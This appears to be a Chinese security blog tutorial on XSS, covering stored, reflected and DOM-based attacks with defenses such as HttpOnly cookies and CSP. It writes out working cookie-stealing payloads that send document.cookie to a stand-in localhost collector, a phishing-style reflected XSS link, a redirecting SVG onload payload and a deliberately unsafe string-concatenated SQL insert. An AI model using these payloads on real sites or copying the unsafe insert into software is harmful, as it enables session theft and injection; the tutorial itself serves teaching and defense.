网络安全之XSS漏洞

news2024/12/23 3:50:07

一. 引言

Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种代码注入攻击。XSS 攻击通常指的是利用网页的漏洞,攻击者通过巧妙的方法注入 XSS 代码到网页,因为浏览器无法分辨哪些脚本是可信的,导致 XSS 脚本被执行。XSS 脚本通常能够窃取用户数据并发送到攻击者的网站,或者冒充用户,调用目标网站接口并执行攻击者指定的操作。

我们需要关注XSS漏洞,主要是因为它可能对个人用户和企业网站造成严重影响。首先,XSS攻击可能导致用户的个人信息被盗取,例如反射型XSS攻击大多数是用来盗取用户的Cookie信息。其次,XSS漏洞也可能影响企业网站的正常运行,甚至成为蠕虫和盗窃cookie的工具。此外,XSS漏洞还可以用于执行一些恶意操作,如篡改网页内容、窃取会话和cookie等。更重要的是,由于所有的输入都可能成为XSS漏洞的载体,这使得XSS防护变得尤为重要。因此,了解并关注XSS漏洞,对于保护个人隐私和企业安全有着至关重要的作用。

二. XSS漏洞的基本概念

跨站脚本攻击(XSS),是一种网络安全漏洞,其实就是对用于的数据过滤不到位,它允许攻击者将恶意代码注入到其网站中。比如:在博客的内容中写入了一些恶意的脚本,但是博客并未对这些恶意的脚本进行处理,当其他用户再次请求查看博客内容的时候,在浏览器解析的时候会将博客内容的恶意脚本误认为是JS或HTML然后进行执行,这样就可以做一些恶意的操作,比如盗取该访客用户的个人信息,也可以执行一些恶意代码在服务器或访客用户电脑上,以获取一些敏感信息。这种攻击方式能够使得攻击者在不同的网站上运行,而这种攻击主要利用的是网页编程中的脚本语言,比如JS或HTML。对于XSS攻击主要有三种类型,存储型XSS攻击、反射型XSS攻击以及DOM型XSS攻击接下来我们针对这三类分开来说:

2.1 存储型XSS攻击

顾名思义存储型XSS,也就是XSS代码被攻击者存储到服务器当中,因此一旦有用户访问含有该存储型XSS代码的网站的时候就会被攻击。举个例子,比如这个XSS的攻击代码中,将浏览者本机的cookie发送给hacker,接下来,我们逐步在实现这样的一个攻击案例

2.1.1 寻找一个对写入过滤不严谨的网站,或者自己搭建一个对参数过滤不严格的网站

第一:这个网站对输入参数,不做任何过滤,直接写入数据库,而且写入数据库不能使用参数化,需要使用字符串拼接

insert into blog(username,content) values('"+ name +"','" + content+"';

直接这样,我们的html以及script的一些标签可以直接写入到数据库
第二:这个网站在显示博客数据的时候,未做任何操作,直接向HTML节点上附加DOM元素
有这样的先决条件,我们在进行XSS存储型攻击的时候就非常方便了

2.1.2 搭建一个接收信息的服务

这个服务器主要是接收从受害者哪里获取到的敏感信息,比如获取cookie信息,这个服务接收到信息的时候直接存储下来,比如存储到数据库或文本文件中

http://localhost/CrackTest/xsstest/test?cookie=xxx

这个服务是一个get请求,接收一个cookie参数
接下来,我们构造payload进行攻击

<script>window.open(\'http://localhost/CrackTest/xsstest/test?cookie=\'+document.cookie)</script>

这个payload主要含义,就是通过window.open()函数远程调用http://localhost/CrackTest/xsstest/test,然后通过javascript的document.cookie获取受害者的cookie信息,这样就可以将受害者的cookie信息发送到hacker的服务上了
hacker在写博客的时候将上面的payload写入到博客内容中,然后就开始等待了

2.1.3 受害者无知的访问了该博客内容

受害者不明真相的访问了该博客,引发上面的payload脚本被执行,那么受害者浏览器中的cookie信息就被发送到hacker搭建的服务上了,也就完成了对受害者信息的窃取

2.1.4 如何防护存储型xss攻击

1.设置HttpOnly标志,因为HttpOnly标志可以有效防止非法用户通过javascript读取cookie,setcookie()的参数,改为setcookie(‘username’,$name,time()+3600,NULL,NULL,NULL,TRUE);setcookie()函数里面第七个参数就是HttpOnly的设置

2.输入验证,对HTML元素和JS元素进行验证,在执行SQL插入操作的时候不允许HTML元素和JS元素存储在数据库中

3.对HTML元素渲染进行限制,并对对 HTML 做充分转义,限制输入框的html或js不允许其执行,或限制其执行范围。

4.采用Content Security Policy(CSP)策略,即内容安全策略,它用于检测并削弱某些特定类型的攻击,包括夸赞脚本和数据注入攻击等。为使 CSP 可用,你需要配置你的网络服务器返回 Content-Security-Policy HTTP 标头

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; img-src https://*; child-src 'none';" />

5.使用JavaScript Encryption
主要是对输入内容进行加密,加密的主要原理是破坏原有输入内容的结构导致,最好是选择不可逆的加密算法,这样就可以保证输入的内容不可能再次被执行
6.HTML实体编码
对HTML实体进行编码,目的也是为了破坏恶意脚本可执行的结构

2.2 反射型XSS攻击

反射型XSS将用户输入的内容作为代码让浏览器执行达到攻击目的,一般需要让用户访问攻击者构造的URL。这种类型的攻击只发生在客户端上,并且需要从带有恶意脚本参数的特定URL进入,所以也称为非持久型XSS。
其实也很常见,就比如通过QQ、邮件系统、短信收到的一些莫名其妙的链接,此时hacker会将这个恶意链接包装成“中奖”、“领取福利”或“某些秘密链接”,受害者在好奇心或捡便宜的心态驱使下点开了这个链接,然后执行了连接中隐藏的恶意代码,然后就将自己电脑或手机上敏感信息传送给hacker搭建的服务。
接下来我们看看如何搭建一个反射型XSS攻击实例:

2.2.1 hacker搭建一个服务,用于接收用户敏感信息

这个服务其实可以和上面的2.1.2类似

2.2.2 hacker伪造一个带有恶意代码的链接,然后通过邮件系统发送给受害者

首先构造一个恶意的链接,这个链接主要是后面的参数,即获取受害者cookie信息,然后将信息发送给hacker

http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://localhost/CrackTest/xsstest/test?cookie=%2bescape(document.cookie);+document.appendChild(img)</script>

然后这个链接通过QQ、短信或邮件的方式发送给对方,其实比较常见是通过邮件,因为可以大量发送,成本低,并且有些邮件系统未对安全做充分认证,hacker会将连接包装成一个特别诱人的名字,这样更能诱导用户点击

2.2.3 坐等鱼儿上钩

hacker只需要不断的监控接收服务接收到的数据即可

2.2.4 如何防护呢?

1.对于自建的邮件系统,我们要设置反垃圾邮件的设置,提高邮箱的安全性
2.加强自我安全认识,对陌生的链接或陌生的网站,最好不要乱去访问,说不定某一个链接后面就有一个反射XSS攻击在哪里等着你。

2.3 DOM型XSS攻击

DOM型的XSS,我认为是XSS攻击类型中最复杂的,需要一定的前端开发经验,接下来我们详细了解一下DOM型XSS攻击。
首先我们要了解什么是DOM,全称为文档对象模型(Document Object Model),主要是Web前端开发中使用到的一种模型。比如:在前端开发中会使用到很多元素,如< title>、< h1>等,而为了方便使用这些已经定义的元素,将这些元素作为结点排成树状后,通过遍历这棵树,就可以很方便的调用这些元素。而这颗树就称为DOM树。
在这里插入图片描述
接下来我们通过一个实例来实验一下DOM型XSS攻击:

2.3.1构造一个存在DOM型XSS漏洞html页面

首先,我们要构造DOM型XSS漏洞,就需要js获取从url的数据并将其传递到支持动态代码执行的接收器,就会存在DOM的XSS漏洞。常见的JS接收器有:

document.write()
document.writeln()
document.domain
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent

如下HTML即存在DOM型XSS漏洞
在这里插入图片描述
在输入query参数之后,参数就可以在HTML页面中显式
在这里插入图片描述

2.3.2 进行XSS漏洞攻击

我们可以看到输入的参数在原先的页面HTML元素中被原封不动的显示出来,并未做任何处理。接下来,我们可以考虑使用DOM元素闭合的方式提前结束img标签,然后新增我们需要增加的HTML元素,就比如:

"><svg onload=alert(1)>

这段输入的含义是,首先闭合原先的img标签,然后在后面增加了一个svg的HTML的DOM元素标签,通过验证我们发现弹出框已经出来了,按照这个思路我们可以构造一些更加危险的脚本。接下来就可以通过此漏洞构造虚假的URL诱使受害用户点击以获得cookie,与之前的反射型或存储型XSS基本一致。还可以利用window.location.assign(URL)将受害用户重定向到钓鱼网站。

"><svg οnlοad=window.location.assign("http://www.baidu.com")>

2.3.3 构造这样的页面,进行钓鱼攻击

比如在某些Blog系统中,如果对输入为做好验证,以及安全防护不高的情况下,hacker对某一个大V的博客进行回复,并且回复内容将这种漏洞的payload储存在评论中。那么不知名的受害者,访问了这个大V的博客,轻者被诱导到一个不知名的网站,重则会损失跟人信息甚至是金钱。

2.3.4 防护DOM型XSS攻击

则类漏洞,主要还是参考2.1.4防护方式

2.4 总结

我们对XSS漏洞有了一个整体的认识,包括存储型XSS攻击、反射型XSS攻击和DOM型XSS攻击,其危害性还是比较大。我们只是从原理上风向这些XSS漏洞出现的原因,也是为了让我们在建设软件的时候能够更好的防护XSS攻击,以及对自我的安全教育,不要对那些未知的不知名的网站劫持了cookie里面敏感的信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1162222.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

matlab求解时变系统的Riccati矩阵微分方程

对于代数Riccati方程的求解网上能找到很多的资源&#xff0c;matlab也有成熟的函数&#xff0c;但是对于时变系统的Riccati矩阵微分方程&#xff0c;能找到的资料还比较少。 一、求解代数Riccati方程 可以在网上找到很多资料&#xff0c;如 https://blog.csdn.net/m0_622999…

python中有哪些你觉得超级牛的模块?

之前在做数据分析的时候&#xff0c;用过一个自动化生成数据探索报告的Python库&#xff1a;ydata_profiling 一般我们在做数据处理前会进行数据探索&#xff0c;包括看统计分布、可视化图表、数据质量情况等&#xff0c;这个过程会消耗很多时间&#xff0c;可能需要上百行代码…

Linux--线程--互斥锁

1.互斥量 a&#xff09;互斥量&#xff08;mutex&#xff09;从本质上来说是一把锁&#xff0c;一般在主线程中定义一个互斥量&#xff0c;就是定义一把锁。然后根据我们的需求来对线程操作这把锁。 b&#xff09;如果给所有的线程都加上锁了&#xff0c;线程们会去争取内存空…

2018年第三届 美亚杯电子取证 个人赛题解

1 Victor的笔记本电脑己成功取证并制作成法证映像档 (Forensic Image)&#xff0c;下列哪个是其MD5哈希值? (2分) A. FC20782C21751AB76B2A93F3A17922D0 B. 5F1BDEB87EE9F710C90CFB3A0BB01616 C. A0BB016160CFB3A0BB0161661670CFB3 D. 917ED59083C8B35C54D3FCBFE4C4BB0B E. F…

当你在浏览器地址栏输入一个URL后,将会发生的事情?个人笔记

客户端 在浏览器输入 URL 回车之后发生了什么&#xff08;超详细版&#xff09; - 知乎 (zhihu.com) 大致流程是&#xff1a; URL 解析DNS 查询TCP 连接处理请求接受响应渲染页面 1.URL解析 地址解析&#xff1a; 首先判断你输入是否是一个合法的URL还是一个待搜索的关键…

上市公司-供应链效率数据集(2000-2022年)

参照张倩肖&#xff08;2023&#xff09;、Feng&#xff08;2015&#xff09;、张树山&#xff08;2023&#xff09;的做法&#xff0c;团队以库存周转天数来衡量供应链效率 库存周转天数有效克服了因企业保留安全库存而导致供应链效率较低的测算误差&#xff0c;体现供应链上…

回归预测 | Matlab实现POA-CNN-SVM鹈鹕算法优化卷积神经网络-支持向量机多变量回归预测

Matlab实现POA-CNN-SVM鹈鹕算法优化卷积神经网络-支持向量机多变量回归预测 目录 Matlab实现POA-CNN-SVM鹈鹕算法优化卷积神经网络-支持向量机多变量回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.POS-CNN-SVM鹈鹕算法优化卷积神经网络-支持向量机的多变量回归…

好用的CRM软件都有哪些功能?

好用的CRM软件不仅仅是将客户资料存档&#xff0c;更大的作用还在于充分发挥数据的价值提升客户管理效率。如果您了解过多款CRM软件就一定会发现它们的功能都不尽相同&#xff0c;但是好用的CRM工具离不开这些功能&#xff1a; 一、客户视图 客户视图主要由4类数据组成&#…

基于springboot实现游戏分享网站系统项目【项目源码+论文说明】

基于springboot实现游戏分享网站演示 摘要 网络的广泛应用给生活带来了十分的便利。所以把游戏分享管理与现在网络相结合&#xff0c;利用java技术建设游戏分享网站&#xff0c;实现游戏分享的信息化。则对于进一步提高游戏分享管理发展&#xff0c;丰富游戏分享管理经验能起到…

跨境商城源码价格

在当今数字商务的时代&#xff0c;跨境电商已经成为了越来越多企业的选择。然而&#xff0c;要建立一个高效、便捷、全球化的跨境商城并不是一件简单的事情。所幸&#xff0c;现在有一个开源的解决方案&#xff0c;给企业提供了无限的可能性。跨境商城源码价格合乎实际&#xf…

浅谈AcrelEMS-CB商业建筑能源管理系统解决方案-安科瑞 蒋静

1概述 AcrelEMS-CB商业建筑能源管理系统&#xff0c;集电力监控、电能质量监测与治理、电气安全预警、能耗分析、照明控制、新能源使用、能源收费以及设备运维等功能于一体&#xff0c;通过一套系统对商业建筑的能源进行统一监控、统一运维和调度&#xff0c;系统可以通过WEB和…

对比学习(contrastive Learning)

起源和定义 自监督学习又可以分为对比学习(contrastive learning)和生成学习(generative learning)两条主要的技术路线。 比学习的核心思想是将正样本和负样本在特征空间对比&#xff0c;从而学习样本的特征表示&#xff0c;使得样本与正样本的特征表示尽可能接近。正样本和负…

webase编译合约一直转圈卡住解决方案

问题:webase编译合约一直转圈卡住,等再久也没反应 解决方案: 进入webase-web目录,然后进入static\js目录,执行以下命令: curl -#L https://osp-1257653870.cos.ap-guangzhou.myqcloud.com/WeBASE/download/solidity/wasm/v0.4.25.js -o v0.4.25.js curl -#L https://os…

Unity AssetBundle打包

1&#xff0c;AssetBundle的概念与作用 AssetBundle是一个存档文件&#xff0c;是Unity提供的一种用于存储资源的资源压缩包&#xff0c;可以包含模型、贴图、音频、预制体等。 Unity中的AssetBundle系统是对资源管理的一种扩展&#xff0c;通过将资源分布在不同的AB包中可以最…

SpringBoot--Web开发篇:含enjoy模板引擎整合,SpringBoot整合springMVC;及上传文件至七牛云;restFul

SpringBoot的Web开发 官网学习&#xff1a; 进入spring官网 --> projects --> SpringBoot --> LEARN --> Reference Doc. --> Web --> 就能看到上述页面 静态资源映射规则 官方文档 总结&#xff1a; 只要是静态资源&#xff0c;放在类路径下&#xff1…

制作网页版H5页面商城源码系统+随心DIY 带前后端完整搭建教程

随着智能手机的广泛普及&#xff0c;人们越来越依赖手机进行日常生活中的各种活动&#xff0c;包括购物。传统的PC端购物模式已经无法满足人们的需求&#xff0c;因此开发移动端的购物系统势在必行。而现如今H5技术不断发展成熟&#xff0c;使得在手机等移动设备上展示网页版商…

Nginx常见问题解决

一、修改nginx.conf报错 背景&#xff1a;修改nginx.conf&#xff0c;配置转发到tcp的信息&#xff1a; 在stream块中配置转发规则&#xff1a;在stream块中&#xff0c;使用server指令来配置转发规则。例如&#xff0c;如果你要将TCP流量转发到example.com:1234&#xff0c;可…

短视频矩阵营销系统工具如何助力商家企业获客?

1.批量剪辑技术研发 做的数学建模算法&#xff0c;数学阶乘的组合乘组形式&#xff0c;采用两套查重机制&#xff0c;一套针对素材进行查重抽帧素材&#xff0c;一套针对成片进行抽帧素材打分制度查重&#xff0c;自动滤重计入打分。 2.账号矩阵分发开发 多平台&#xff0c;…

[学习笔记]python绘制图中图(绘制站点分布图)

背景 在绘制站点分布图时&#xff0c;有时需要采用图中图的方式&#xff0c;以便于在一张图中尽可能多的表达信息。此处记录一下利用python matplotlib绘制图中图的脚本&#xff0c;方便然后查询。 包含数据 该绘图脚本中包含以下数据&#xff1a; CMONOC站点分布&#xff…

日本移动支付Merpay QA团队的自动化现状

Merpay是日本最大的网购平台之一Mercari的无现金支付系统。Merpay 的主要功能是让用户在 Mercari的网站上购物&#xff0c;也可以在日本的许多实体店和餐厅使用它&#xff0c;也可以理解为日本的“支付宝”。以下为Merpay QA 团队在自动化方面的一些思考&#xff1a; 这几年&am…